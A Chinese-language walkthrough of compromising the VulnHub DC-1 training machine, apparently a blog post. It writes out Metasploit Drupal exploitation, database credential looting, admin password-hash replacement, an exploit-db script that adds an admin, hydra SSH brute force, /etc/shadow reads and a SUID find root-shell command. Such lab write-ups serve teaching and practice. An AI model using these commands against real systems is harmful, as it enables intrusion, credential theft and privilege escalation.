vulnhub靶场DC-1靶机渗透

一、靶机详情

DC-1 是 VulnHub 平台上面向渗透测试初学者的经典靶机,核心围绕 Drupal 7 漏洞利用与 Linux 本地提权,目标是获取 root 权限并收集全部 5 个 flag,非常适合巩固 Web 渗透与基础提权流程。

配置介绍

  • 靶机:192.168.1.133
  • kali:192.168.1.134

二、信息收集

1.获取目标 ip

复制代码
arp-scan -l
复制代码
nmap -sn 192.168.1.0/24 

2.扫描目标信息

(1)nmap -p- 192.168.1.133

通过对目标分析,发现 80 端口开放。

(2)查看 wappalyzer

(3)目录扫描

复制代码
dirsearch -u 192.168.1.133

三、搜寻漏洞及利用

1.msf 搜寻漏洞

根据信息收集发现使用的是 Drupal 内容管理系统。使用 msf 查看是否有该框架的漏洞信息。发现 1 和16都可以使用。

(1)use 1

  • use 1 使用第一个
  • show options 查看需要配置的参数

由以下图可知,需要配置目标 ip 和端口,使用 set 进行配置

(2)use 16

  • use 16
  • set rhosts 192.168.1.133
  • run

如果进入 meterpreter,则表示漏洞利用成功。

2.进入普通 shell

先输入 shell,进入 shell,不过这里是一个伪shell,是不会回显信息的,所以我们来执行下面这个语句进入 shell。

复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

3.进行普通 shell 收集信息

(1)找到 flag1

找到第一个 flag

(2)找到 flag2

根据提示:每一个好的CMS都需要一个配置文件,寻找配置文件 setting.php,打开 setting.php 发现 flag2 并发现数据库账号和密码。

复制代码
find / -name settings.php

根据数据库账号和密码尝试登录数据库,对数据库进行信息收集。

复制代码
● show databases;          //查看数据
● use drupaldb;            //进入数据库
● show tables;             //查看该数据库中的所有表
● select * from users;     //查看用户信息
● exit;                    //退出

(3)得到admin用户加密后的密码

4.登录到 admin 用户

在数据库中发现 web 端 admin 用户及密码,但是密码被加密。

(1)修改 admin 密码

在/var/www/scripts 下发现数据库中密码加密的脚本 password-hash.sh

此脚本为 php 格式,用 php 执行该脚本,重新获取自定义的 admin 用户新密码,然后更新数据库,修改 admin 管理员的密码。

复制代码
php password-hash.sh admin //生成新密码

将 admin 的 hash 后的密文(密码)替换数据库中 admin 的密码,即可用此密码进行登录。

复制代码
UPDATE drupaldb.users SET pass = '$S$DYEZyg0O9hNmr8hdcTULtMRyUHJyuh9svXBc9f9sMePDMSEfqb32' WHERE name = 'admin';

用账号 admin,密码 admin 登录 web 页面。

(2)添加新管理员用户

在之前信息收集的时候我们发现 Drupal 的版本为 7,利用 msfconsole 的漏洞查找工具 searchsploit 来查找关于 drupal的SQL注入漏洞。

复制代码
searchsploit drupal

我们通过 34992.py 这个 exp 来添加管理员用户。

首先找到34992.py 脚本的位置并将该脚本复制到 test 文件夹下。

复制代码
sudo find / -name 34992.py
cp /usr/share/exploitdb/exploits/php/webapps/34992.py /home/kali/Desktop/test

运行 34992.py 脚本得知需要三个参数,目标 url 地址,账号和密码。

复制代码
python 34992.py

添加三个参数重新运行 34992.py 脚本。

复制代码
python2 34992.py -t http://192.168.1.133/ -u test -p test

用新添加的管理员用户 aaa,密码为 aaa 登录 web 端。

(3)找到 flag3

进入后台搜索发现 flag3.

四、提权

1.找到 flag4

使用 cat /etc/passwd 查看,发现有 flag4 用户

根据 flag3 提示使用 shadow 查看 flag4 账号密码

复制代码
cat /etc/shadow

发现没 shadow 权限,使用 hydra 进行爆破

复制代码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.1.133

得到密码为 orange,使用 ssh 进行登录,找到 flag4

复制代码
ssh flag4@192.168.1.133

2.使用 find 提权

根据 flag4 的提示需要获取 root 权限权,得到最后的 flag。

查找设置了 suid 权限的文件。

复制代码
find / -perm -u=s -type f 2>/dev/null

find 命令用来在系统中查找文件。同时,它也有执行命令的能力。如果 find 配置为使用 SUID 权限运行,则可以通过 find 执行的命令都将以 root 身份去运行。

复制代码
ls -l $(which find)          #查看find命令的权限
find /etc/passwd -exec whoami \;  # 查看当前命令的用户
find /etc/passwd -exec "/bin/sh" \;  #获取一个shell

3. 找到 thefinalflag

五、总结

1.SUID 提权

SUID(Set User ID)提权是 Linux/Unix 系统中一种利用特殊权限可执行文件,实现普通用户临时获得文件所有者权限的提权方式 。

(1)权限原理

  • 普通可执行文件:用户执行程序时,程序的权限 = 当前用户的权限。
  • SUID 权限可执行文件 :用户执行程序时,程序的权限 = 文件所有者的权限(而非当前用户权限)。

(2)查找设置了 SUID 权限的文件

复制代码
find / -perm -u=s -type f 2>/dev/null
  • find:是 Linux 系统下用于查找文件和目录的命令 ,可根据文件名、文件类型、文件权限等多种条件在指定路径下进行搜索。
  • /:表示查找的起始路径为根目录,即从整个系统磁盘的根位置开始搜索。
  • -perm -u=s:
    • -perm:是按文件权限查找的选项 。
    • -u=s :这里 u 代表文件所有者(user ),s 代表设置了 SUID(Set - User - ID )权限 。-u=s 表示查找设置了 SUID 权限的文件,拥有 SUID 权限的文件在执行时,会以文件所有者的权限来运行,而非执行用户本身权限。
  • -type f :-type 用于指定查找文件的类型,f 表示只查找普通文件,不包括目录、设备文件等其他类型文件 。
  • 2>/dev/null:
    • 2:代表标准错误输出(stderr )的文件描述符 。
    • >:是输出重定向符号 。
    • /dev/null :是一个特殊文件,被称为 "黑洞" 设备,所有写入它的数据都会被丢弃。2>/dev/null 意思是将命令执行过程中产生的错误信息重定向到 /dev/null ,即不显示错误输出 。

(3)find 的 suid 权限使用

find :用来在系统中查找文件。同时,它也有执行命令的能力。如果 find 配置为使用 SUID 权限运行,则可以通过 find 执行的命令都将以 root 身份去运行

相关推荐
刘婉晴8 小时前
【Kali 渗透测试】漏洞学习笔记
渗透测试
中科固源13 小时前
面对快手式自动化突袭:如何堵住通讯协议的数字化命门?
安全·网络安全·通讯协议·模糊测试
闲人不梦卿14 小时前
网络安全技术
网络·网络安全
信安大佬15 小时前
2025鹏城杯-whiteout
网络安全
bl4ckpe4ch15 小时前
用可复现实验直观理解 CORS 与 CSRF 的区别与联系
前端·web安全·网络安全·csrf·cors
奋斗者1号16 小时前
MQTT连接失败定位步骤
开发语言·机器学习·网络安全
小快说网安17 小时前
等保测评通过后,如何持续满足安全运维要求?
运维·安全·网络安全·等保测评
mooyuan天天18 小时前
CISP-PTE 日志分析2
网络安全·cisp-pte·日志分析
Johny_Zhao19 小时前
黑客msfconsole渗透工具超详细使用说明
linux·python·网络安全·信息安全·渗透测试·云计算·系统运维·攻防演练
介一安全20 小时前
Android 安全加固工具 dpt-shell
android·安全·网络安全·逆向